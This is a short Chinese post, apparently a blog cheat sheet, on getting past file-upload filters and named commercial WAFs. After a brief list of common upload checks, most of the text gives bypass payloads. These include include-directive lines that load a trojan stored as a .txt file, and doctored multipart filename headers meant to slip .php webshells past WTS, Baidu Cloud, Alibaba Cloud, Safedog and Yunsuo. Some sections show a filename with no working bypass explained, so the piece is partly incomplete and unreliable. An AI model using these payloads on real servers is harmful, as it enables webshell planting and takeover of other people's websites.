6种上传绕过方式和防护
1、一般开发人员防御策略
客户端javascript校验(一般只校验后缀名)
服务端校验:
1、文件头content-type字段校验(image/gif)
2、文件内容头校验(GIF89a)
3、后缀名 黑名单校验
4、后缀名 白名单校验
5、自定义正则校验
6、WAF设备校验
2、上传绕过
2.1 有些waf不会防asp/php/jsp后缀的文件,但会检测里面的内容
eg1:
1.先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容
2.然后再上传一个.php的文件,内容如下:
此时,这个php文件就会去引用txt文件的内容,从而绕过校验。
PHP
<?php Include("上传的txt文件路径");?>
ASP
<!--#include file="上传的txt文件路径" -->
JSP
<jsp:include page="上传的txt文件路径"/>
or
<%@include file="上传的txt文件路径"%>
访问shell.php就可以执行php代码。尝试修改压缩文件后缀为zip、phar、rar发现都是可以的。
2.2 WTS-WAF Bypass
Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”
2.3 Baidu cloud Bypass
百度云 拦截后缀,百度云绕过上传还跟<?php前面是否有代码还有很大关系。
Content-Disposition: form-data; name=“up_picture”; filename=“xss.jpg .Php”
在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
2.4 阿里云WAF
Content-Disposition: form-data; name=“img_crop_file”; filename="1.jpg .Php"Content-Type: image/jpeg
Bypass:
删除Content-Type: image/jpeg即可绕过。
Content-Disposition: form-data; name=“img_crop_file”; filename=“1.php”
2.5 安全狗上传Bypass(最新版不可绕)
Content-Disposition: form-data; name=“image”; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
Bypass:
Content-Disposition: form-data; name=“image”; filename="085733uykwusqcs8vw8wky.pngC.php"
删掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意,双引号要跟着c.php"。
2.6 云锁上传Bypass
Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”

浙公网安备 33010602011771号